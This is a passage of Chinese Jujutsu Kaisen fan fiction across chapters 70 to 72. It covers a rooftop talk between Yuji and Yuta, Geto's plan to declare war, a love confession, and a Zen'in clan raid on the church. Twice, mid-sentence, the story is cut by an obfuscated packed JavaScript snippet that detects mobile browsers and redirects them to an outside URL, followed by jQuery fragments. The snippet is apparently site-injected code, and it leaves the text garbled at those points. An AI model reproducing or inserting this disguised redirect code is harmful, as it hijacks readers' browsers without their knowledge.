仿佛心有灵犀般,虎杖悠仁低头,看见了站在楼下昂首望向楼顶的乙骨忧太。
“悠仁,你坐在那里干什么?”
他们离得有点远,乙骨忧太直接打了电话过去询问道。
虎杖悠仁能够看清他的口型,先推测乙骨忧太说了什么,然后再和电话听筒里传来的声音相互印证,也算蛮有意思的。
“没什么啦,我上来收衣服的时候遇到了夏油先生,他还真是爱给人出难题。”
“......”乙骨忧太犹豫了一下,继续说:“等我上去吧。”
说罢他挂断了电话,匆匆跑进了楼里。
他没花太多时间就来到了天台。这个地方比起他们刚来到教会时候的杂乱无章,经过这些年随手打理已经变得像样了很多,爬满绿植的遮阳棚下摆着两三张躺椅,角落里还有落了灰的圆凳和淘汰下来的沙发,上面偶尔能看到鸟雀掉下来的羽毛和各种生物印在灰尘上的脚印。
虎杖悠仁背靠栏杆坐在边缘处,他肯定听到了乙骨忧太上来的声音,但是没有回头,只将色差明显的后脑勺留给了他。
乙骨忧太走近,没有像粉发少年一样翻越栏杆,而是靠着它站定,然后枕着手臂将上半身趴了下来,悄悄垂下一只手拨弄虎杖悠仁头顶的发旋。
“你们聊了什么?”
虎杖悠仁如实告知:“他问我还想继续做‘正确的事’吗,又问我到底为了什么而去战斗。”
他叹了口气:“我也不是故意想要吵架的,但是问这种问题也太狡猾了点吧?”
乙骨忧太看着调皮的粉色发丝绕着自己的指尖打转:“毕竟是夏油先生,不知道怎么回答的话就不要说了。”
虎杖悠仁扬起头:“你觉得这也是没意义的事?”
站在他身后,看起来受到天空青睐的黑发少年摇头:“你不需要为所有的事找到意义和理由,悠仁。难道你想说‘今天吃虾仁炒饭’、‘明天吃豚骨拉面’这些事也需要某种特定的理由才能实现吗?更何况我不是早就和你说过了嘛,如果你自己会觉得痛苦和烦恼,这件事我宁愿你不要去做。”
虎杖悠仁慢慢把头低了下去,发顶重新传来指腹游走的感觉。他望着眼前的城市边缘,灰白色的建筑屋顶和偶尔穿插其间的绿构成了东京的地平线。
“我只是觉得好像每个人都已经找到了前进的方向,只有我还在原地打转。”
更进一步地说,不只是方向,他们现在甚至已经开始迈步狂奔,只留下虎杖悠仁站在起跑线上犹豫着要不要出发。
头顶打着圈的手指停顿了一下,似乎它的主人正在思考,随后虎杖悠仁听到身后人说道:“迷茫的时间......大家都有过。我觉得比起为了跑起来而随随便便地选择某个理由,不如踏踏实实地走过足够充实的时间,也许悠仁本就是个不需要寻找理由也能前进的人,也许等你走到某个地方的时候,自然而然就能发现它了呢?”
而且,他又不是僵硬的发条人偶,只有扭动背后的发条才能姿态诡异地动起来。
虎杖悠仁小声咕哝:“那如果走错了不就大事不好了吗?”
乙骨忧太轻声笑了两下,指尖用了点力气将他的头向下摁了摁:“是谁信誓旦旦地跟我说‘我力气很大的,拉住两个人绝对没问题’的?我可是记得一清二楚呐。”
虎杖悠仁摇头晃脑地表达被戳弄的不满。
于是乙骨忧太继续道:“不论悠仁怎么选择,我都会跟着你一起面对的啊!这样一想是不是就不会觉得迷茫了?”
这话让虎杖悠仁停止了其余的动作,直挺挺地仰着头看他。
明亮的日光将乙骨忧太的影子印在了虎杖悠仁的身上,又让他住进了那双琥珀色的眼睛里。
“哪怕我说不出理由?”
乙骨忧太定定点头,微笑着答道:“不需要理由。”
他向虎杖悠仁伸出一只手,像是一条轻飘飘的蛛丝,轻而易举地黏住了它的猎物。
他没用任何力气就将虎杖悠仁拉了回来,粉发少年拍打着衣服上的灰尘,拎起收衣篓露出笑容:“走吧,忧太!”
——
“我不明白你要主动去高专宣战的意义,夏油先生。”乙骨忧太是唯一提出反对意见的人。
屋子里坐着很多人,枷场姐妹、祢木利久、菅田真奈美、拉鲁等人全都扭头注视着靠墙而立的黑发少年。
夏油杰的家人们都聚集在了这里,他们刚才讨论的,或者说完全由夏油杰一手敲定的计划就是现在、立刻、马上去咒术师们最集中的地方向他们宣告平安夜当天诅咒师们的行动计划,乙骨忧太说是宣战也没有错。
枷场菜菜子:“都说了别叫他。”
乙骨忧太知道自己的质疑不会改变在场任何一个人的想法,但这样“不合常理”的行为让他疑惑万分。如果将自己带入到诅咒师们的思维中去看的话,为了达成消灭更多非术师的目的,混乱的爆发应当是悄无声息且毫无来由的才能最大程度地迷惑对方吧?
这样明目张胆地宣战究竟是为了什么?除非,是他们还有其他的目的——
夏油杰摊手:“只是为了避免浪费时间罢了。我的目的不在那些地方的猴子们,而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378209|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是高专里的‘某个东西’。找个理由把那些咒术师们引出来,那时就是你们上场的时候了。”
他没有继续深入解释的意思,乙骨忧太用余光观察着周围人的神情,看不出他们到底知不知道夏油杰究竟想要做什么。
他们没有带上米盖尔和乙骨忧太,乘坐着夏油杰的咒灵离开了教会。
“哼,只剩一周了啊,”来自广袤草原的术师藏在墨镜后的眼睛似乎向乙骨忧太的方向瞥了一瞬,话语中带着来自遥远国家的奇特语调,“让我们好好合作吧,乙骨。”
乙骨抱着手臂,后背靠在墙上:“米盖尔先生为什么不远万里也要参与到这样的行动中里来呢?”
“我要纠正你一点,”米盖尔抬手,“我看重的是人,让世界上不再有诅咒和咒灵这种事如果能够成功自然很好,但就算是结果不尽如人意,我也没有那么大的执念。”
“人?”乙骨忧太疑惑道。
黑人术师耸肩:“对你们的国家来说已经快要成为灾难的咒灵和诅咒在我的国家只是偶尔才会出现的小问题,传承咒术的部族就算哪一天悄无声息地消失了也不是值得大惊小怪的事。”
所以米盖尔对夏油杰口中许诺给诅咒师们的未来世界并没有什么执念,只有术师的世界、没有诅咒和咒灵的世界、驱逐所有非术师的世界,怎样说都好。
因为会议室里只有他们两个人在,米盖尔也就毫无顾忌地说了下去:“夏油这样的人太少见了,你该说他是残忍还是慈爱呢?不过他的口才的确不错。”
理想是一个非常诱人的词语,无关乎国籍与个体的差异,只要拥有它就能让人熠熠生辉——照亮一切、燃尽一切。
乙骨忧太从回形走廊离开的时候恰巧碰到了结束集会的教徒们。尽管夏油杰不在,教会内的一应事务依旧按部就班地进行着。
“你是......乙骨?”
有点陌生又有点熟悉的声音叫住了乙骨忧太,他回过头,居然看见了穿着教徒服饰的斋藤。只有最狂热的信徒才会愿意换上统一的服饰,风雨无阻地来参加集会。对夏油杰来说他们不一定是最有价值的猴子,但却是能够维持教会名头的伪装,能够让教会的存在变得更加名正言顺。
“斋藤同学?很久不见了啊,”乙骨忧太和他打了声招呼,“你现在这是......”
斋藤看上去和以前变了很多。他脸上挂着可以被称之为死板的笑容,哪怕在疑惑地叫出乙骨忧太的名字时也不曾改变,就像脸上带着一层面具一样僵硬。以及一种诡异的幸福感,如果忽略掉一切不正常之处的话,乙骨忧太觉得斋藤的表情大概就是想要表达这样的感情吧。
“毕业之后有尝试过继续上学,但是一直在失眠和恐慌中度过,直到进入了教会才让我重获新生。”斋藤简单地谈起了他的生活,言语间却不像他的表情那般刻板,仿佛真心实意地向乙骨忧太讲述着教会带给自己的救赎。
失眠和恐慌大概是缠在他身上的诅咒和由此而生的咒灵造成的,负面感情过于丰富让斋藤在诅咒的影响下不堪重负,可以说是逃窜到了这里才勉强求得了一丝生机。
他似乎将乙骨忧太当成了新来的教徒,对着他侃侃而谈。
从他的话中似乎能够听出对生活和未来的希望,这个教会对他来说犹如一片净土,如果可以的话他甚至想要一辈子都待在这里。
乙骨忧太只是顺着斋藤的话点头。
临到分别时,他还是多嘴问了一句:“如果以后这个教会不在了,你要怎么办呢?”
斋藤只是幸福地笑着反问道:“怎么会呢?这样一个能够给人带来幸福的地方怎么会消失呢?”
乙骨忧太将下巴缩回围巾里,看着斋藤离开了回廊。
斜挂在山头的夕阳将窗框的影子打入房间内,屋子里没有开灯,他推门时也没有听到虎杖悠仁清亮的声音。
“悠仁?不在吗?”他喃喃自语,打开窗户探头出去望向了训练场的方向。他什么都感知不到了。
年幼时因为某种执念而下意识留存在木制勾玉上的咒印在这几年间已经渐渐被消磨干净,乙骨忧太唯一能用他贫瘠的咒力感知能力清晰寻找到的咒力也泯然于众,让他找不到那颗星星此刻正在哪里闪耀着。
“啊!忧太你回来了!”虎杖悠仁抱着瘪下去的猫粮袋子推门而入:“怎么不开灯?”
“你去喂它了?”乙骨忧太走到了玄关,虎杖悠仁摁下开关后整个房间都亮堂了起来,闻言向乙骨忧太晃了晃手中的袋子,从里面哐啷哐啷的声音能听出剩下的猫粮不多了。
“我看食盆放在楼下它很少过来吃,所以把东西挪到它经常出没的那片灌木丛里了,”虎杖悠仁摘掉围巾,“顺便把去年的那个小屋子收拾了一下,不过它好像没有住在那里呢。”
纯手工制作的猫屋里除了灰尘和泥水干涸的痕迹之外没有被猫咪光顾的迹象,虎杖悠仁已经有几天没有见到它的身影了。
“跑去哪里了呢......”
71. 第 71 章
乙骨忧太在书桌旁发现了两个行李箱。
“这个是......?”
虎杖悠仁脱掉外套之后就走到了厨房里开始准备晚饭,刚把出门喂猫前拿出化冻的鸡肉清洗干净,听到乙骨忧太的话后侧着身子看了一眼,即答:“反正这几天也没什么事,我就想着先把东西收拾一下。”
乙骨忧太的目光停留在虎杖悠仁桌子上压在课本下的各种旅行手册,不由自主地放缓了语气:“真可靠啊,悠仁。”
其实虎杖悠仁也只是胡乱地搜集着讯息,离开教会之后要去哪里也丝毫没有头绪。不过面对这种庞大又杂乱的选项,看得越多,越能让虎杖悠仁的心变得安定下来。
他也不知道这算不算是在逃避让人左右为难的选择,只是在平安夜逐步逼近的现在,他必须要找些事情来填满自己因为无能为力而动摇的内心才行。
今晚只煮了最普通的咖喱,虎杖悠仁端着盘子来到矮桌上时,听到了楼道里的脚步声。随后便是枷场姐妹开关房间门的声音,看来其他人应该也都回来了。
“怎么了?”虎杖悠仁不知道教会里的人今天下午一起去了高专,看到乙骨忧太的神色发生了轻微的变化,这才发出了疑问。
乙骨忧太摇了摇头:“没什么啦。”
虎杖悠仁撇嘴,又将汽水拿出来之后打开了电视。他调换着频道,听着乙骨忧太取来餐具依次摆放在他们两个的盘子上发出的碰撞声,最终将电视画面定格在了他们常看的电视剧频道。
“忧太有特别想去的地方吗?完全交给我来选的话,根本没有头绪嘛。留在国内还是去海外呢?如果要去海外,还得尽早准备手续才行。”
今晚的咖喱没有放巧克力,所以咖喱粉的味道更浓一些。乙骨忧太搅着沾满汤汁的米饭,深思熟虑后缓缓说道:“悠仁,我们把你身上的诅咒彻底解决掉吧。”
“现在?!能做到吗?!”虎杖悠仁完全把身体倾斜了过来,满眼期待和不可思议地望向乙骨忧太。
“抱歉,”只是乙骨忧太充满歉意的表情给他浇了一盆冷水,让粉发少年失落地坐回了原地,“我想能够彻底解除束缚的方法只有杀死那个人。”
虎杖悠仁说:“我明白的。你觉得我们应该主动追上去?”
“......如果就这样放手不管的话,我们不管去到哪里都无法安心生活的吧?”乙骨忧太双手交握,压低眉头皱了起来:“我来做这件事。我向你发誓,我绝对——”
“我们一起,”虎杖悠仁打断了他的话,“我们一起来。这件事本来就和忧太没有关系,真相什么的,我也不想再继续追究了。”
他的妈妈、他的出生、他的存在对于某些藏在阴影里的人来说究竟拥有什么样的意义,又或者在过去、现在、未来扮演着什么样的角色,对虎杖悠仁来说已经不重要了。
比起真相,他更想要生活。正如他和夏油杰那场不欢而散的谈话中说起的“生活”,那些小小的期待构成了他对未来的希冀,也许当下所做的事对这个世界毫无价值,可是在他本人心中却是弥足珍贵的宝物。
虎杖悠仁揪住了胸口的衣服。那份不知何时生起的感情在四季轮回之间慢慢生根发芽,年年岁岁,跟着他一起成长,直到蜿蜒的根系在不知不觉间填满了藏着美好和腐朽之物的心房。
“忧太,”他抬起头,看到了惊愕的乙骨忧太,然而模糊起来的视野却没办法让他从那双黑色的眼睛里看到自己究竟是在用什么样的表情说着这番话,“我真的好喜欢你啊。”
喜欢。
喜欢。
爱。
乙骨忧太被轰鸣的心跳声堵住了耳朵,他不知道自己伸出手想要干什么,却轻轻握住了虎杖悠仁的手腕——就像虎杖悠仁不知道为什么自己在诉说心意的时候会想要流泪,却在试图蹭掉那些滚烫的液体时被人捉住了手,拉开了去,让他只能用力眨着眼睛来让视野重新变得清晰。
“啊、怎么......抱歉,它自己就......”
好逊,怎么会有人在告白的时候哭出来啊?
似乎只是那一瞬间的情绪上涌让满溢出来的所有喜欢化作了眼角的泪水,虎杖悠仁挤眉弄眼地将它们驱赶走,而泪意也像它来时那样突然地消失了。
而且,他居然就这么顺理成章地说出来了——
虎杖悠仁后知后觉地感受到了升腾的温度,也终于看清了乙骨忧太脸上灼人的红。黑发少年张着嘴巴,眼睛因为瞪得太圆而失去了它们本应拥有的威慑力,反倒在灯光的照射下变得晶亮,像水晶一样漂亮。
“……悠仁。”乙骨忧太几度吸气想要说些什么,可最终千言万语涌到嘴边也只是化作了一个名字。
但被碾碎的言语也让名字的音节吐出时带上了千钧之重,正如他们相互陪伴、一起成年的年月,也早已变成了心中浓厚而真挚的情感,一触即发。
“……我本来打算等到平安夜之后再和你正式地告白,”虎杖悠仁知道自己现在的表情一定很狼狈,他想要抽手,却发现乙骨忧太攥得死紧,“结果就这样说出来了——”
他的话说到一半哽在了喉咙里,乙骨忧太半起身向他的座位靠了过来。
矮桌是被改造过的被炉,他们拆掉了能够自动加热的装置,只留下了柔软的褥子,这样遮住之后被炉里的温度是最合适的,不需要加热来让它变得更暖和。
乙骨忧太挪过来的时候依旧没有松手,这让虎杖悠仁连调整自己的坐姿都做不到。他直挺挺地坐在原地,看着乙骨忧太的身影逐渐放大,直至占满他的全部心神。
靠近、俯身,然后有柔软的东西轻轻落在了额头上。
虎杖悠仁瞪着眼睛,终于拿回了双手的支配权,但依旧什么反应都做不出来了。
乙骨忧太亲了他的额头之后将他拢到了怀里,紧贴着胸膛的耳朵能够听见对方讲话时胸腔的震动,以及本就疯狂跳动着的心脏——虎杖悠仁的心脏同样活蹦乱跳地在他的胸前闹腾着,这简直是他听过最吵闹的声音。
“我也、最喜欢悠仁了。但是一直没有勇气,一直觉得还不够……没办法让你得到幸福,又自私地想要满足自己,害得你总是为我担心。”
话匣一旦打开,哪怕笨拙到语无伦次,乙骨忧太也想将千言万语都说给虎杖悠仁听。
是从什么时候开始的呢?这份喜爱不知何时居然如同藏在心中的诅咒一样变得庞大而不可忽视,倾吐诅咒之言的嘴巴里如今冒出了满是爱意的话语,在听到少年告白的一瞬闪过心头的无数记忆几乎要打湿乙骨忧太的眼眶。
原来我早已拥有的东西,是当时不解其意、只觉得温暖又欢喜的东西,而今拥入怀中后才恍然大悟。
虎杖悠仁的身体很烫,他搂着乙骨忧太的腰,将自己完全埋进了他的胸口,闷声说道:“……像是笨蛋一样。”
长大之后他们很少再这样拥抱,虎杖悠仁还曾经因为搞不懂自己的心情而逐渐拒绝乙骨忧太的亲密接触。那时他只觉得牵手和靠在一起会让人面红耳赤地想要逃离,现在的他只想要敲打那个什么都不明白的自己,简直迟钝到无可救药。
他又觉得自己超级幸运,他们之间发生了那么多事,却没有真正地分开。察觉到自己青涩的心意之后,没有花多少力气就发现另一个人似乎和自己抱有同样的情感——他们都表现得太明显了。
乙骨忧太的手指插入了虎杖悠仁后脑的发丝间,加深了这个拥抱,像是想要将他完全揉进身体里一样。
虎杖悠仁大概是上天赐给他的礼物。
“把你的未来、你的全部都交给我吧,悠仁。”
我已经完完全全地属于你了。所以不许后悔,也不许放手。乙骨忧太的未尽之言冲入虎杖悠仁的耳中,被浓重的感情推得人仰马翻。
不说出口,是因为害怕里面可怖的独占欲被自己扭曲成另一种诅咒,哪怕它们已经拥有了同等的效力,只要诅咒的、被诅咒的人对此心知肚明即可。
虎杖悠仁从能够将人溺毙的温柔怀抱中抬起头,直截了当地问:“要来亲亲吗?”
乙骨忧太觉得自己可耻地动摇了。就像被虎杖悠仁用星星眼注视着一样让人无法拒绝的邀请,他的话漩涡似的吸住了乙骨忧太,难以自拔。
他直接抬手盖住了虎杖悠仁的嘴巴,亲吻了自己的手背。
“……”他从瞪圆的琥珀色眼瞳中看见了自己的倒影。
“我们以后再来完成它。”
听起来就像是个感情骗子一样,这个未完成的吻一触即分,乙骨忧太迅速拉开了和愣愣看着他的虎杖悠仁之间的距离。
“……喔。”因为根本没想到要闭上眼睛,对虎杖悠仁来说刚才的动作实在太有冲击力了……虽然是他自己主动要求的,可乙骨忧太的行为还是彻彻底底地击碎了他,萌生出了羞于启齿的冲动。
打断这份无言默契的是虎杖悠仁肚子里悠长幽怨的鸣叫。
乙骨忧太挠着头撇开脸:“先吃饭吧,悠仁。”
他没有离开虎杖悠仁的身边,而是将盘子拖了过来。
虎杖悠仁低着头,握住勺子之后不自觉地搅动变得温热的咖喱,有点固执地问:“什么时候?只是亲亲而已应该没关系的吧?还是说忧太你……”
他看上去已经晕了头,全然不管被戳中心事的乙骨忧太完全爆红的脸颊和慌乱中伸来捂他嘴巴的手,继续发出暴论:“……难道是个超级保守的家伙吗?虽然我也觉得那种事成年之后再说比较好啦,但只是亲亲的话也会忍不住吗唔唔——”
乙骨忧太几乎要带着哭腔压低嗓子祈求道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378210|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“悠仁!!拜托你不要再说了,我才没有期待那种事!!都叫你不要瞎看小黄书的啦!!”
虎杖悠仁眨着眼睛,忽然笑得很狡猾。这不是完全明白他在说什么嘛!
然而没等他继续调侃着说出什么惊世骇俗的话来,乙骨忧太直接喂了一勺咖喱在他嘴里,半强迫着他开始这场被推迟了太久的晚餐。
——
今年冬天东京没怎么下雪,只是干冷的空气令温度不断一降再降,每次外出都会让脆弱的鼻腔粘膜变得紧绷起来。
后街上的汤屋依旧在傍晚时分开始变得火热,从房顶上的烟囱里不断冒出滚烫的蒸汽。写着“鹤”字的门帘上被老板的女儿挂上了从幼稚园带回来的圣诞装饰,绿色的花环配上红色的蝴蝶结,每一次掀开帘子都能听到“叮铃叮铃”的铃铛被摇响的声音。
街边的商铺里播放着经典的圣诞歌曲,摆放在橱柜最显眼地方的商品包装上几乎都有圣诞节相关的元素,有的店铺还搬来了圣诞老人的摆件放在门口。店铺、车站、街道两旁的独栋公寓门口都挂上了颜色亮丽的灯饰,为即将到来的平安夜增添了一分节日气氛。
虎杖悠仁待在贴满咒符的房间里,地面上摆放着摊开的行李箱,但他没有继续收拾东西,而是扯过凳子坐在了房间的正中央,仰头看着天花板,不知道在想些什么。
他和乙骨忧太像往常一样告别,只在门被关上之后才能察觉到各自都有些懊悔没能将心里的话说出来。
不过还是不要说了比较好,虎杖悠仁心道,不然的话听起来就像是在预示着接下来一定会发生什么不好的事一样。他的目光又落在了贴在墙壁的咒符上,这些东西也不过是掩耳盗铃罢了,那个人知道他就在教会,顶多不让她知道自己待在哪个房间里,如果她连这一点都提前调查清楚,咒符的作用也就只能当作一种心理安慰了。
他蹬脚让凳子转起了圈,天边日影昏黄。
东京、京都的主要地区都已经设下了“帐”,天光无法穿透咒术构成的屏障,内部已经完全暗了下来,和夜晚无异。夏油杰提前宣战的行为给咒术师们留出了充足的时间以疏散演习为由清空了“帐”内的大部分人,但毕竟不知道袭击究竟会覆盖到哪些地区,所以连高专的一年级新生们都被拉过来分配到了一小块区域的驻守任务。
提前投放至此的咒灵们已经开始行动了。
熊猫看到伊地知洁高接到一个电话之后满头大汗,于是问道:“怎么了吗?悟又说了什么吗?”
辅助监督叹了口气,为难地回答:“倒不是五条先生的事,京都那边说秤金次同学还有星绮罗罗同学和他们起了冲突,已经离开了。”
正在调试新咒具的禅院真希闻言惊叹道:“他们就这样走了?”
“......听上去是的。不过七海先生还在京都那边,不会出太大问题的。”伊地知洁高擦掉额头的汗,山雨欲来的气氛让他不自觉地承担起过大的压力,不过依旧恪尽职守地完成着自己的工作,调动辅助监督们游走在城市中,寻找咒灵们和滞留者的踪迹。
东京这边不像京都,那边有术式适合远程侦查的京都校二年生西宫桃在,提供空中支援要比他们这边轻松不少。冥冥也有自己要负责的区域,她的乌鸦们看到的信息只能由辅助监督们相互转达了。
“腌高菜。”狗卷棘拍着熊猫的手臂,指向了隔壁高楼的顶层。
“那里有什么吗?”什么都没感知到的禅院真希和熊猫顺着狗卷棘的手指抬头望了过去。
年轻的咒言师皱起眉头,笃定地向同伴们告知了从那个方向传来的危险:“明太子!”
熊猫将手搭在额头:“那里有人,是诅咒师吗?”
禅院真希将咒具扛到了肩膀上:“渐渐地都聚过来了,目标是五条老师吗?”
五条悟就在他们前面不远的地方,伊地知洁高离开前和他们说日下部笃也那边已经开始组织祓除成群结队的咒灵了,在他们这边也能听到隔了两片街区之外的战斗发出的响动。
“嗯,那个难道是夏油杰?但是感觉不太像诶。”屋顶上的人接近了一些,熊猫原本还以为是夏油杰,毕竟那样磅礴的咒力不是随随便便就能拥有的,但是现在又觉得有点不太确定。
乙骨忧太已经尽力收敛自己的咒力了,但很快他便放弃了这一行为。
在最强咒术师的面前,一切伪装都毫无用处。
米盖尔和菅田真奈美站在更近一些的地方,等待着信号。一旦五条悟有离开前线的迹象,就轮到米盖尔上场了。
乙骨忧太最后看了一眼手机,然后深吸了一口气,解开了围巾。
虎杖悠仁身下的椅子在转动时发出微弱的吱呀声。他又转了两圈,忽然伸腿支撑住了地面。
有人闯进教会里来了。
72. 第 72 章
虎杖悠仁关上了房间的灯。他站在门口,手上已经戴好了乙骨忧太送给他的半指手套咒具。来人似乎目的明确,踏上木制楼梯的时候也丝毫没有隐藏脚步声的意思。
只有一个人。
是妈妈吗?
虎杖悠仁的表情凝重起来,不住地活动着手腕,唤醒身体里的咒力和力量。
走廊里的光从门缝中映了进来,一双脚的阴影挡住了部分夕阳,有人和他隔门而立。
“......”虎杖悠仁屏住了呼吸,却在下一瞬猛地回头,在身后的窗户被击碎的刹那看清了入侵者。
来人有一头黑色炸起的短发,玻璃碎屑纷飞间居然让虎杖悠仁差点将他看成了伏黑惠,不过入侵者后脑还留着被白色发带绑起来的长发,身穿像是剑道衣一样的衣服,粗壮眉毛下的眼睛瞪大:“就是现在!!”
一只狰狞的眼睛在虎杖悠仁身侧的虚空中缓缓睁开,这诡诞的画面让他的肾上腺素陡然飙升,下意识地想要挥拳击碎令他感到不安的威胁,却发现自己突然失去了对身体的控制权。
是术式!这群人、到底是——?!
“哼,少说多余的话,兰太。”房门被人一脚踹开,碎裂的门板划破了墙壁,将门框旁那一道道黑色的划线彻底毁了个干净。
这种距离根本不需要使用术式。目标已经被禅院兰太的术式固定在了原地,禅院直哉抬脚准备一击终结这个看起来还没成年的可怜家伙。
哪怕不用【投射咒法】,他的速度也无人能及。
“炳”已经干过很多次这样的事,哪怕知道这一次的目标是拥有【咒灵操术】的夏油杰统领的诅咒师集团也是一样。任何诅咒师在家族力量的面前都是束手无策的,更何况来到这里的是他们禅院家。
夏油杰没有出现在正面战场,但留在这里的可能性也不大。
禅院直哉击出的手掌已经无限接近了虎杖悠仁的脖子,如果被击中的话会直接折断脖颈,哪怕拥有反转术式也回天乏术。
他眯起眼睛。
被他认定为“毫无反抗之力”的粉发少年的身上突然爆发出了刺眼的咒力,禅院兰太的术式制造出来的眼球上的血丝骤然凸起,反应在术师本人身上的剧痛代表着他所以为的“猎物”并没有束手就擒。
难以想象的巨大力量从虎杖悠仁的身体里涌现了出来,他双脚踏裂了地面,几乎怒吼着扯断了术式对身体的无形束缚,拳头击碎了那只诡异的眼睛,并且带着恐怖的破空声和禅院直哉擦肩而过。
千钧一发侧身躲开的禅院直哉感受到了脸颊处的皮肤传回的刺痛感,被虎杖悠仁的挥击带起的风也变得锋利无比。
只用了不到1秒的时间,虎杖悠仁就已经凭借不讲理的蛮力突破了禅院兰太固定在他身上的枷锁。
出拳的速度更快。
如果刚才使用了【投射咒法】,哪怕提前以会被反击而设定好了动作,恐怕也会因为这远超想象的反击速度而被扰乱,令他自己陷于“定格”的状态,这一拳也就会真真切切地打中他吧?
伴随着禅院兰太因为反噬而捂着涌血眼睛的闷哼,禅院直哉被激怒了。
虎杖悠仁的瞳孔收缩到了极限,他和长着狐狸眼的禅院直哉对视,然后视线落到了脚下,在地面的震动传到脚底之前径直向上跳起,躲开了贯穿整栋楼的奇特攻击。
一双看起来由土与泥组成的手掌拔地而起,足有两三层楼那么高,直接插进了这栋楼里横冲直撞,双掌合十,立于坍塌了大半的建筑废墟之中。
虎杖悠仁跃至了半空,嘴角向下坠着,视野里突然失去了禅院直哉的身影。
“?!”
肩膀上传来被人蹬踏的力量,他只来得及微微侧头,用余光看到了仿佛闪现一般出现在了自己背后的黄发咒术师。
“有两下子,”禅院直哉讥讽地笑着,眼中是不折不扣的蔑视,“但你也玩儿完了!”
猎物在空中无处受力,这样空旷的地方正是【投射咒法】的使用者们最喜欢的猎场。
虎杖悠仁以极快的速度撞向了地面,砸起一片尘幕。
落地的时候没来得及调整好身形,虽然护住了脑袋和内脏,但冲击力仍旧让他的牙齿撞破了口腔黏膜,嘴里登时涌出了血腥味。
他在瓦砾碎块中迅速起身,吐掉了嘴里的血液。
他还是第一次见到这么奇怪的术式,禅院直哉踩在他背上的时候身体就好像被困在了某个异次元一样定格住了,连转动眼球都很困难。这和被禅院兰太控制住的感觉不太一样,虽然同为定身效果,但禅院直哉的术式效果显然更高级一些,仅凭蛮力没有突破的可能。
这就是当世最速术师拥有的【投射咒法】。最速自然说的不是禅院直哉,不过他的【投射咒法】比起自己老爹来说也算青出于蓝,只等年龄和经验成长后便能取而代之。连同禅院直毘人的家主之位一起。
这种术式将1秒分成了24帧,术师将预设好的动作填入这24帧中制成分镜,就像制作动画片中的连贯动作一样,施术者与被他碰到的对象都必须以1/24的帧率来行动,失败即会被冻结1秒钟。
如果禅院直哉在这栋楼还没有被破坏之前发动的那次攻击中使用了术式,为了躲开虎杖悠仁意料之外的反击,他就必须违背自己预先设定好的分镜动作,承受自身被冻结1秒的惩罚。
虎杖悠仁趁着烟尘还未完全散去的间隙将所有入侵者的位置找了出来。除了和他打过照面的禅院直哉和禅院兰太,另有一个留着鱼鳍一样竖起的杀马特发型的老人半跪在地面上,从他双手触地的动作能够大致推测出这一双摧毁了楼宇的泥土大手就是他的杰作。
此外另有一些人站在更远的地方,从着装上来看和他们也是一伙的。
飞扬的尘土散去,禅院直哉挑衅地看着居然留在原地没有逃跑的虎杖悠仁:“你还想挣扎吗?乖乖去死的话还会轻松一点啦。”
“这是什么力量......居然强行挣脱了我的术式!”捂着眼睛的禅院兰太立在禅院长寿郎的身后,眼睛小到根本看不见瞳仁的老人只是诡笑着,再次拍击了地面。
无数小型手掌造物拔地而起,因为缩小了体型而令生成的速度无限增加,虎杖悠仁后退的时候发现禅院直哉再一次消失,因为警惕他恐怖的速度而被分走了注意力,一时不察被禅院长寿郎的术式追上,扣在了双掌之间。
他被以一个憋屈的姿势固定在了术式构成的手掌中,双手为了护住胸腹而被挤在了身前无法顺利发力,只剩脖颈之上留在外面能够勉强转动。
“糟......!!”
这群家伙到底是什么人?!一上来什么都不说直接打了过来,整栋建筑都已经完全坍塌,尽管说好要离开,可那也是他和忧太的家啊?!只能庆幸他提早将祈本里香的御守和珍贵的相片贴身放在了内侧的兜里,不然的话——
禅院直哉的身影迫近,虎杖悠仁猛地望向灰色的天空,今天它们被不怎么纯粹的夕阳染上了一丝橙黄。袭击者在他的眼睛里像是掉帧的动画一样,带着令人窒息的杀意闪烁着攻了过来。
“杂鱼。”
让“炳”精锐尽出却只捉到了这样一条瘦弱的杂鱼,简直是在浪费生命,让人提不起兴致。
口腔内部涌现的血液从牙缝间汇入舌根,虎杖悠仁顾不得嘴角浮现出的湿润触感,发丝被尖锐的风全部向后压去,瞳孔骤然缩小。
似乎是被禅院直哉脸上明晃晃的嘲讽之意激怒了,困兽发出死斗前最后的嘶吼:“——从我家里滚出去!!!”
“去死。”
禅院直哉预设的动作已经进行到了最后几帧,这次他的手臂会直接将斩断虎杖悠仁的脖子。逐步增加的速度能够让被咒力强化过的手臂轻而易举地做到这一点,禅院直哉的眼中看不见残忍或者兴奋,似乎这样血腥的结局他早已司空见惯。
只是为了达成目的而采取的某种必要手段——生命的价值?他为什么要耗费脑细胞去思考这样无关紧要的事?所以自然也就不会在意夺走生命的手段是否残忍。
虎杖悠仁从禅院直哉的眼睛里看到了这一点,这比他自身的性命正在受到威胁更令他在意、更让他无法忍受。口腔里的血腥味刺激着大脑,被桎梏的四肢无法反抗从自己胸中喷发而出的满腔愤怒,在某个陌生的回路被死亡威胁逼迫着建立起来的刹那,虎杖悠仁点燃了自己。
只差一点。禅院直哉的手臂如刀,只差最后一帧就能贴上粉发少年脆弱的颈部皮肤,然而比这最后一帧更快降临的是无法抵抗的重力。
